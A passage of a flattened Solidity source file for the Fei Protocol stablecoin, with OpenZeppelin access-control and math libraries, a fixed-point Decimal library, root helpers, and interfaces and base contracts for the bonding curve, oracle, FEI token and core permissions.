return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File contracts/fei-protocol/external/SafeMathCopy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathCopy { // To avoid namespace collision between openzeppelin safemath and uniswap safemath
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File contracts/fei-protocol/external/Decimal.sol
/*
Copyright 2019 dYdX Trading Inc.
Copyright 2020 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Decimal
* @author dYdX
*
* Library that defines a fixed-point number with 18 decimal places.
*/
library Decimal {
using SafeMathCopy for uint256;
// ============ Constants ============
uint256 private constant BASE = 10**18;
// ============ Structs ============
struct D256 {
uint256 value;
}
// ============ Static Functions ============
function zero()
internal
pure
returns (D256 memory)
{
return D256({ value: 0 });
}
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function from(
uint256 a
)
internal
pure
returns (D256 memory)
{
return D256({ value: a.mul(BASE) });
}
function ratio(
uint256 a,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(a, BASE, b) });
}
// ============ Self Functions ============
function add(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE), reason) });
}
function mul(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.mul(b) });
}
function div(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.div(b) });
}
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
D256 memory temp = D256({ value: self.value });
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
function add(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.value) });
}
function sub(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value) });
}
function sub(
D256 memory self,
D256 memory b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value, reason) });
}
function mul(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, b.value, BASE) });
}
function div(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, BASE, b.value) });
}
function equals(D256 memory self, D256 memory b) internal pure returns (bool) {
return self.value == b.value;
}
function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 2;
}
function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 0;
}
function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) > 0;
}
function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) < 2;
}
function isZero(D256 memory self) internal pure returns (bool) {
return self.value == 0;
}
function asUint256(D256 memory self) internal pure returns (uint256) {
return self.value.div(BASE);
}
// ============ Core Methods ============
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
private
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function compareTo(
D256 memory a,
D256 memory b
)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
}
// File contracts/fei-protocol/bondingcurve/IBondingCurve.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
interface IBondingCurve {
// ----------- Events -----------
event ScaleUpdate(uint _scale);
event BufferUpdate(uint _buffer);
event Purchase(address indexed _to, uint _amountIn, uint _amountOut);
event Allocate(address indexed _caller, uint _amount);
// ----------- State changing Api -----------
/// @notice purchase FEI for underlying tokens
/// @param to address to receive FEI
/// @param amountIn amount of underlying tokens input
/// @return amountOut amount of FEI received
function purchase(address to, uint amountIn) external payable returns (uint amountOut);
/// @notice batch allocate held PCV
function allocate() external;
// ----------- Governor only state changing api -----------
/// @notice sets the bonding curve price buffer
function setBuffer(uint _buffer) external;
/// @notice sets the bonding curve Scale target
function setScale(uint _scale) external;
/// @notice sets the allocation of incoming PCV
function setAllocation(address[] calldata pcvDeposits, uint[] calldata ratios) external;
// ----------- Getters -----------
/// @notice return current instantaneous bonding curve price
/// @return price reported as FEI per X with X being the underlying asset
function getCurrentPrice() external view returns(Decimal.D256 memory);
/// @notice return the average price of a transaction along bonding curve
/// @param amountIn the amount of underlying used to purchase
/// @return price reported as FEI per X with X being the underlying asset
function getAveragePrice(uint amountIn) external view returns (Decimal.D256 memory);
/// @notice return amount of FEI received after a bonding curve purchase
/// @param amountIn the amount of underlying used to purchase
/// @return amountOut the amount of FEI received
function getAmountOut(uint amountIn) external view returns (uint amountOut);
/// @notice the Scale target at which bonding curve price fixes
function scale() external view returns (uint);
/// @notice a boolean signalling whether Scale has been reached
function atScale() external view returns (bool);
/// @notice the buffer applied on top of the peg purchase price once at Scale
function buffer() external view returns(uint);
/// @notice the total amount of FEI purchased on bonding curve. FEI_b from the whitepaper
function totalPurchased() external view returns(uint);
/// @notice the amount of PCV held in contract and ready to be allocated
function getTotalPCVHeld() external view returns(uint);
/// @notice amount of FEI paid for allocation when incentivized
function incentiveAmount() external view returns(uint);
}
// File @uniswap/lib/contracts/libraries/[email protected]
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
// File contracts/fei-protocol/utils/Roots.sol
pragma solidity ^0.6.0;
library Roots {
// Newton's method https://en.wikipedia.org/wiki/Cube_root#Numerical_methods
function cubeRoot(uint y) internal pure returns (uint z) {
if (y > 7) {
z = y;
uint x = y / 3 + 1;
while (x < z) {
z = x;
x = (y / (x * x) + (2 * x)) / 3;
}
} else if (y != 0) {
z = 1;
}
}
// x^(3/2);
function threeHalfsRoot(uint x) internal pure returns (uint) {
return sqrt(x) ** 3;
}
// x^(2/3);
function twoThirdsRoot(uint x) internal pure returns (uint) {
return cubeRoot(x) ** 2;
}
function sqrt(uint y) internal pure returns (uint) {
return Babylonian.sqrt(y);
}
}
// File contracts/fei-protocol/oracle/IOracle.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title generic oracle interface for Fei Protocol
/// @author Fei Protocol
interface IOracle {
// ----------- Events -----------
event KillSwitchUpdate(bool _killSwitch);
event Update(uint _peg);
// ----------- State changing API -----------
/// @notice updates the oracle price
/// @return true if oracle is updated and false if unchanged
function update() external returns (bool);
// ----------- Governor only state changing API -----------
/// @notice sets the kill switch on the oracle feed
/// @param _killSwitch the new value for the kill switch
function setKillSwitch(bool _killSwitch) external;
// ----------- Getters -----------
/// @notice read the oracle price
/// @return oracle price
/// @return true if price is valid
/// @dev price is to be denominated in USD per X where X can be ETH, etc.
function read() external view returns (Decimal.D256 memory, bool);
/// @notice the kill switch for the oracle feed
/// @return true if kill switch engaged
/// @dev if kill switch is true, read will return invalid
function killSwitch() external view returns (bool);
}
// File contracts/fei-protocol/refs/IOracleRef.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title A oracle Reference contract
/// @author Fei Protocol
/// @notice defines some utilities around interacting with the referenced oracle
interface IOracleRef {
// ----------- Events -----------
event OracleUpdate(address indexed _oracle);
// ----------- State changing API -----------
/// @notice updates the referenced oracle
/// @return true if the update is effective
function updateOracle() external returns(bool);
// ----------- Governor only state changing API -----------
/// @notice sets the referenced oracle
/// @param _oracle the new oracle to reference
function setOracle(address _oracle) external;
// ----------- Getters -----------
/// @notice the oracle reference by the contract
/// @return the IOracle implementation address
function oracle() external view returns(IOracle);
/// @notice the peg price of the referenced oracle
/// @return the peg as a Decimal
/// @dev the peg is defined as FEI per X with X being ETH, dollars, etc
function peg() external view returns(Decimal.D256 memory);
/// @notice invert a peg price
/// @param price the peg price to invert
/// @return the inverted peg as a Decimal
/// @dev the inverted peg would be X per FEI
function invert(Decimal.D256 calldata price) external pure returns(Decimal.D256 memory);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/fei-protocol/token/IFei.sol
pragma solidity ^0.6.2;
/// @title FEI stablecoin interface
/// @author Fei Protocol
interface IFei is IERC20 {
// ----------- Events -----------
event Minting(address indexed _to, address indexed _minter, uint _amount);
event Burning(address indexed _to, address indexed _burner, uint _amount);
event IncentiveContractUpdate(address indexed _incentivized, address indexed _incentiveContract);
// ----------- State changing api -----------
/// @notice burn FEI tokens from caller
/// @param amount the amount to burn
function burn(uint amount) external;
// ----------- Burner only state changing api -----------
/// @notice burn FEI tokens from specified account
/// @param account the account to burn from
/// @param amount the amount to burn
function burnFrom(address account, uint amount) external;
// ----------- Minter only state changing api -----------
/// @notice mint FEI tokens
/// @param account the account to mint to
/// @param amount the amount to mint
function mint(address account, uint amount) external;
// ----------- Governor only state changing api -----------
/// @param account the account to incentivize
/// @param incentive the associated incentive contract
function setIncentiveContract(address account, address incentive) external;
// ----------- Getters -----------
/// @notice get associated incentive contract
/// @param account the address to check
/// @return the associated incentive contract, 0 address if N/A
function incentiveContract(address account) external view returns(address);
}
// File contracts/fei-protocol/core/IPermissions.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title Access control module for Core
/// @author Fei Protocol
interface IPermissions {
// Governor only state changing api
/// @notice creates a new role to be maintained
/// @param role the new role id
/// @param adminRole the admin role id for `role`
/// @dev can also be used to update admin of existing role
function createRole(bytes32 role, bytes32 adminRole) external;
/// @notice grants minter role to address
/// @param minter new minter
function grantMinter(address minter) external;
/// @notice grants burner role to address
/// @param burner new burner
function grantBurner(address burner) external;
/// @notice grants controller role to address
/// @param pcvController new controller
function grantPCVController(address pcvController) external;
/// @notice grants governor role to address
/// @param governor new governor
function grantGovernor(address governor) external;
/// @notice grants revoker role to address
/// @param revoker new revoker
function grantRevoker(address revoker) external;
/// @notice revokes minter role from address
/// @param minter ex minter
function revokeMinter(address minter) external;
/// @notice revokes burner role from address
/// @param burner ex burner
function revokeBurner(address burner) external;
/// @notice revokes pcvController role from address
/// @param pcvController ex pcvController
function revokePCVController(address pcvController) external;
/// @notice revokes governor role from address
/// @param governor ex governor
function revokeGovernor(address governor) external;
/// @notice revokes revoker role from address
/// @param revoker ex revoker
function revokeRevoker(address revoker) external;
// Revoker only state changing api
/// @notice revokes a role from address
/// @param role the role to revoke
/// @param account the address to revoke the role from
function revokeOverride(bytes32 role, address account) external;
// Getters
/// @notice checks if address is a burner
/// @param _address address to check
/// @return true _address is a burner
function isBurner(address _address) external view returns (bool);
/// @notice checks if address is a minter
/// @param _address address to check
/// @return true _address is a minter
function isMinter(address _address) external view returns (bool);
/// @notice checks if address is a governor
/// @param _address address to check
/// @return true _address is a governor
function isGovernor(address _address) external view returns (bool);
/// @notice checks if address is a revoker
/// @param _address address to check
/// @return true _address is a revoker
function isRevoker(address _address) external view returns (bool);
/// @notice checks if address is a controller
/// @param _address address to check
/// @return true _address is a controller
function isPCVController(address _address) external view returns (bool);
}
// File contracts/fei-protocol/core/ICore.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title Source of truth for Fei Protocol
/// @author Fei Protocol
/// @notice maintains roles, access control, fei, tribe, genesisGroup, and the TRIBE treasury
interface ICore is IPermissions {
// ----------- Events -----------
event FeiUpdate(address indexed _fei);
event TribeAllocation(address indexed _to, uint _amount);
event GenesisPeriodComplete(uint _timestamp);
// ----------- Governor only state changing api -----------
/// @notice sets Fei address to a new address
/// @param token new fei address
function setFei(address token) external;
/// @notice sets Genesis Group address
/// @param _genesisGroup new genesis group address
function setGenesisGroup(address _genesisGroup) external;
/// @notice sends TRIBE tokens from treasury to an address
/// @param to the address to send TRIBE to
/// @param amount the amount of TRIBE to send
function allocateTribe(address to, uint amount) external;
// ----------- Genesis Group only state changing api -----------
/// @notice marks the end of the genesis period
/// @dev can only be called once
function completeGenesisGroup() external;
// ----------- Getters -----------
/// @notice the address of the FEI contract
/// @return fei contract
function fei() external view returns (IFei);
/// @notice the address of the TRIBE contract
/// @return tribe contract
function tribe() external view returns (IERC20);
/// @notice the address of the GenesisGroup contract
/// @return genesis group contract
function genesisGroup() external view returns(address);
/// @notice determines whether in genesis period or not
/// @return true if in genesis period
function hasGenesisGroupCompleted() external view returns(bool);
}
// File contracts/fei-protocol/refs/ICoreRef.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title A Core Reference contract
/// @author Fei Protocol
/// @notice defines some modifiers and utilities around interacting with Core
interface ICoreRef {
// ----------- Events -----------
event CoreUpdate(address indexed _core);
// ----------- Governor only state changing api -----------
/// @notice set new Core reference address
/// @param core the new core address
function setCore(address core) external;
// ----------- Getters -----------
/// @notice address of the Core contract referenced
/// @return ICore implementation address
function core() external view returns (ICore);
/// @notice address of the Fei contract referenced by Core
/// @return IFei implementation address
function fei() external view returns (IFei);
/// @notice address of the Tribe contract referenced by Core
/// @return IERC20 implementation address
function tribe() external view returns (IERC20);
/// @notice fei balance of contract
/// @return fei amount held
function feiBalance() external view returns(uint);
/// @notice tribe balance of contract
/// @return tribe amount held
function tribeBalance() external view returns(uint);
}
// File contracts/fei-protocol/refs/CoreRef.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title Abstract implementation of ICoreRef
/// @author Fei Protocol
abstract contract CoreRef is ICoreRef {
ICore private _core;
/// @notice CoreRef constructor
/// @param core Fei Core to reference
constructor(address core) public {
_core = ICore(core);
}
modifier ifMinterSelf() {
if (_core.isMinter(address(this))) {
_;
}
}
modifier ifBurnerSelf() {
if (_core.isBurner(address(this))) {
_;
}
}
modifier onlyMinter() {
require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter");
_;
}
modifier onlyBurner() {
require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner");
_;
}
modifier onlyPCVController() {
require(_core.isPCVController(msg.sender), "CoreRef: Caller is not a PCV controller");
_;
}
modifier onlyGovernor() {
require(_core.isGovernor(msg.sender), "CoreRef: Caller is not a governor");
_;
}
modifier onlyFei() {
require(msg.sender == address(fei()), "CoreRef: Caller is not FEI");
_;
}
modifier onlyGenesisGroup() {
require(msg.sender == _core.genesisGroup(), "CoreRef: Caller is not GenesisGroup");
_;
}
modifier postGenesis() {
require(_core.hasGenesisGroupCompleted(), "CoreRef: Still in Genesis Period");
_;
}
function setCore(address core) external override onlyGovernor {
_core = ICore(core);
emit CoreUpdate(core);
}
function core() public view override returns(ICore) {
return _core;
}
function fei() public view override returns(IFei) {
return _core.fei();
}
function tribe() public view override returns(IERC20) {
return _core.tribe();
}
function feiBalance() public view override returns (uint) {
return fei().balanceOf(address(this));
}
function tribeBalance() public view override returns (uint) {
return tribe().balanceOf(address(this));
}
function _burnFeiHeld() internal {
fei().burn(feiBalance());
}
function _mintFei(uint amount) internal {
fei().mint(address(this), amount);
}
}
// File contracts/fei-protocol/refs/OracleRef.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title Abstract implementation of IOracleRef
/// @author Fei Protocol
abstract contract OracleRef is IOracleRef, CoreRef {
using Decimal for Decimal.D256;
IOracle public override oracle;
/// @notice OracleRef constructor
/// @param _core Fei Core to reference
/// @param _oracle oracle to reference
constructor(address _core, address _oracle) public CoreRef(_core) {
_setOracle(_oracle);
}
function setOracle(address _oracle) external override onlyGovernor {
_setOracle(_oracle);
emit OracleUpdate(_oracle);
}
function invert(Decimal.D256 memory price) public override pure returns(Decimal.D256 memory) {
return Decimal.one().div(price);
}
function updateOracle() public override returns(bool) {
return oracle.update();
}
function peg() public override view returns(Decimal.D256 memory) {
(Decimal.D256 memory _peg, bool valid) = oracle.read();
require(valid, "OracleRef: oracle invalid");
return _peg;
}
function _setOracle(address _oracle) internal {
oracle = IOracle(_oracle);
}
}
// File contracts/fei-protocol/pcv/PCVSplitter.sol
pragma solidity ^0.6.0;
